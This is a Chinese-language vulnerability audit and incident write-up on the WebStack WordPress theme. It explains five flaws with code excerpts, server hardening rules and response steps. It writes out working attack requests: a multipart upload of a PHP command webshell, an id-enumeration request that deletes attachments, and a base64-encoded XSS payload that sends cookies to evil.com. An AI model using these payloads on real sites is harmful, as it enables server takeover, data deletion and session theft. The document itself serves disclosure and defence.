request-free-img

WebStack主题漏洞-未授权任意文件上传

2026年4月中旬,使用 WebStack 导航主题的 WordPress 站点遭遇大面积入侵。攻击者利用主题内置的图片上传接口,无需登录即可上传任意 PHP 文件(webshell),进而完全控制服务器。本站的导航站(p.biry.net)也在此次事件中被攻破,以下是基于真实入侵日志的完整复盘与修复方案。

WebStack 主题安全漏洞审计报告

审计日期: 2026-05-23
主题版本: WebStack 导航主题
审计范围: 主题全部 PHP 文件
漏洞总数: 5 个(严重 2 个、高危 2 个、中危 1 个)


漏洞总览

编号 严重程度 文件 漏洞类型 状态
VULN-01 🔴 严重 inc/ajax.php 未授权任意文件上传(PHP 木马) 待修复
VULN-02 🔴 严重 inc/img-upload.php 遗留上传脚本可直接访问 待修复
VULN-03 🟠 高危 inc/ajax.php 未授权任意附件删除 待修复
VULN-04 🟠 高危 go.php 开放重定向 + HTML 注入 待修复
VULN-05 🟡 中危 search-tool.php 混淆 eval() JavaScript 待修复

详细漏洞说明


VULN-01 — 🔴 严重:未授权任意文件上传

文件: inc/ajax.php
行号: 第 5–36 行
CVSS 评分: 10.0(Critical)

漏洞原理

AJAX 处理函数 io_img_upload 同时注册了 wp_ajax_nopriv_img_upload(未登录用户可触发)和 wp_ajax_img_upload(已登录用户可触发)。以下三个缺陷叠加,导致任何人无需登录即可上传任意 PHP 文件:

缺陷 1:无身份验证和 nonce 校验

// 第 5-6 行:nopriv 注册允许未登录用户直接调用
add_action('wp_ajax_nopriv_img_upload', 'io_img_upload');
add_action('wp_ajax_img_upload', 'io_img_upload');

// 函数内部完全没有以下任何一行:
// check_ajax_referer(...)
// wp_verify_nonce(...)
// current_user_can(...)
// is_user_logged_in()

缺陷 2:扩展名白名单定义了但从未执行检查

//8 行:定义了白名单
$extArr = array("jpg", "png", "jpeg");

//13 行:从客户端文件名中取扩展名
$baseext = pathinfo($basename, PATHINFO_EXTENSION);

// 问题:代码中从未出现 in_array($baseext, $extArr) 的调用
// 白名单完全形同虚设

缺陷 3:MIME 类型和文件名均取自客户端,完全可伪造

//12 行:文件名由攻击者控制
$basename = $file['name'];  // 攻击者发送 "shell.php"

//19 行:MIME 类型取自 HTTP Content-Type 头,攻击者可任意设置
'post_mime_type' => $file['type'],  // 攻击者发送 "image/jpeg"

//16 行:直接用 rename() 移动文件,不经过 WordPress 安全过滤
rename( $file['tmp_name'], $filename );

攻击方式

攻击者发送如下 HTTP 请求即可完成 PHP 木马上传:

POST /wp-admin/admin-ajax.php?action=img_upload HTTP/1.1
Host: your-site.com
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="files"; filename="shell.php"
Content-Type: image/jpeg

<?php system($_GET['cmd']); ?>
------Boundary--

服务器响应会直接返回上传后的完整 URL,例如:

{"status":1,"data":{"src":"https://your-site.com/wp-content/uploads/2026/05/20260523_a1b2c3d4.php"}}

攻击者随即访问该 URL 并传入 ?cmd=id 即可执行任意系统命令,实现完整的远程代码执行(RCE)。

影响范围

  • 服务器完全沦陷(RCE)
  • 数据库凭据泄露
  • 可作为跳板攻击内网其他系统
  • 网站被植入后门、挂马、SEO 黑链

VULN-02 — 🔴 严重:遗留上传脚本仍可直接访问

文件: inc/img-upload.php
行号: 第 1–60 行
CVSS 评分: 10.0(Critical)

漏洞原理

该文件头部注释明确写明”弃用,已经移至 ajax.php”,但文件仍然存在于主题目录中,可通过以下 URL 直接访问:

https://your-site.com/wp-content/themes/webstack/inc/img-upload.php

文件通过 require dirname(__FILE__).'/../../../../wp-load.php' 自行引导 WordPress 环境,然后处理文件上传。与 VULN-01 相同的三个缺陷全部存在,且扩展名校验代码被显式注释掉:

/*  使用前台 js 判断
if (!in_array($baseext, $extArr)) { 
    echo '{"status":3,"msg":"图片类型只能是jpeg,jpg,png!"}'; 
    exit();
}  
...
*/

注释说明开发者将安全校验完全依赖前端 JS,而前端校验对攻击者毫无约束力。

攻击方式

与 VULN-01 相同,但请求目标为主题文件直接路径:

POST /wp-content/themes/webstack/inc/img-upload.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="files"; filename="shell.php"
Content-Type: image/jpeg

<?php system($_GET['cmd']); ?>
------Boundary--

VULN-03 — 🟠 高危:未授权任意附件删除

文件: inc/ajax.php
行号: 第 39–52 行
CVSS 评分: 7.5(High)

漏洞原理

io_img_remove 函数同样注册了 wp_ajax_nopriv_img_remove,存在三个缺陷:

//39 行:未登录用户可触发
add_action('wp_ajax_nopriv_img_remove', 'io_img_remove');

function io_img_remove(){    
    // 缺陷 1:无 nonce 验证
    // 缺陷 2:无登录检查

    $attach_id = $_POST["id"];  // 缺陷 3:无所有权校验,直接使用用户提交的 ID

    if( empty($attach_id) ){
        echo '{"status":3,"msg":"没有上传图像!"}';
        exit;
    }
    if ( false === wp_delete_attachment( $attach_id ) )  // 直接删除任意附件
        ...
}

WordPress 附件 ID 为连续整数(1、2、3…),攻击者可枚举所有 ID,批量删除站点上的全部媒体文件。

攻击方式

POST /wp-admin/admin-ajax.php?action=img_remove HTTP/1.1
Content-Type: application/x-www-form-urlencoded

id=1

循环递增 id 值即可删除所有附件。


VULN-04 — 🟠 高危:开放重定向 + HTML 属性注入

文件: go.php
行号: 第 3–20 行
CVSS 评分: 7.4(High)

漏洞原理

go.php 是一个外链跳转中转页面,接收 $_GET['url'] 参数,base64 解码后直接拼入 HTML 输出,无任何过滤:

$url = $_GET['url'];
$b = base64_decode($b);  // 解码结果完全由攻击者控制
<!-- 第 20 行:直接拼入 HTML 属性,无 esc_url() 或 htmlspecialchars() -->
<meta http-equiv="refresh" content="0.1;url=<?php echo $b; ?>">

攻击方式

攻击 1:开放重定向(钓鱼)

构造指向钓鱼网站的 base64 编码 URL,发给用户:

https://your-site.com/go.php?url=aHR0cHM6Ly9waGlzaGluZy1zaXRlLmNvbQ==

用户看到的是可信域名,点击后被重定向到钓鱼页面。

攻击 2:HTML 属性注入(XSS)

构造如下 payload 并 base64 编码:

"><script>document.location='https://evil.com/?c='+document.cookie</script>

编码后:

https://your-site.com/go.php?url=Ij48c2NyaXB0PmRvY3VtZW50LmxvY2F0aW9uPSdodHRwczovL2V2aWwuY29tLz9jPScrZG9jdW1lbnQuY29va2llPC9zY3JpcHQ+

访问后 <script> 标签被注入页面,窃取用户 Cookie。


VULN-05 — 🟡 中危:混淆的 eval() JavaScript 代码

文件: search-tool.php
行号: 第 86 行
CVSS 评分: 4.3(Medium)

漏洞原理

搜索组件的 JavaScript 逻辑使用了 JS Packer 混淆打包:

eval(function(e,t,a,c,i,n){ ... }('...', 62, 77, "...".split("|"), 0, {}));

问题 1:混淆代码难以审计
正常主题代码无需混淆。混淆是恶意代码的常见特征,一旦代码被篡改(供应链攻击、主题文件被替换),混淆会大幅延迟安全人员发现问题的时间。

问题 2:localStorage 影响跳转目标
反混淆后,代码从 localStorage.getItem("Ltype") 读取搜索类型,并用于设置表单 action 属性(即搜索请求的目标 URL)。若攻击者通过其他 XSS 漏洞写入 localStorage,可劫持搜索请求目标。


Nginx 防御建议

无论上述漏洞是否已修复,强烈建议在 Nginx 配置中禁止 uploads 目录执行 PHP,作为纵深防御:

# 在 server {} 块中添加
location ~* /wp-content/uploads/.*\.php$ {
    deny all;
    return 403;
}

Apache .htaccess 等效配置(放置于 wp-content/uploads/.htaccess):

<FilesMatch "\.php$">
    Require all denied
</FilesMatch>

此规则可确保即使攻击者成功上传了 PHP 文件,也无法通过 HTTP 请求执行它。


应急处置建议

  1. 立即在 Nginx/Apache 中添加上述 uploads 目录 PHP 执行禁止规则
  2. 立即扫描并删除 uploads 目录中所有已存在的 .php 文件
  3. 检查服务器是否已被入侵(查看 crontab、/tmp 目录、异常进程)
  4. 修改数据库密码、WordPress 管理员密码、服务器 SSH 密钥
  5. 按本报告修复所有漏洞后,重新扫描确认

源代码

所有漏洞已经修复完成,并开源在github上了

https://github.com/PeterCang/WebStack-Secure


更多问题探讨,请关注公众号:程序员角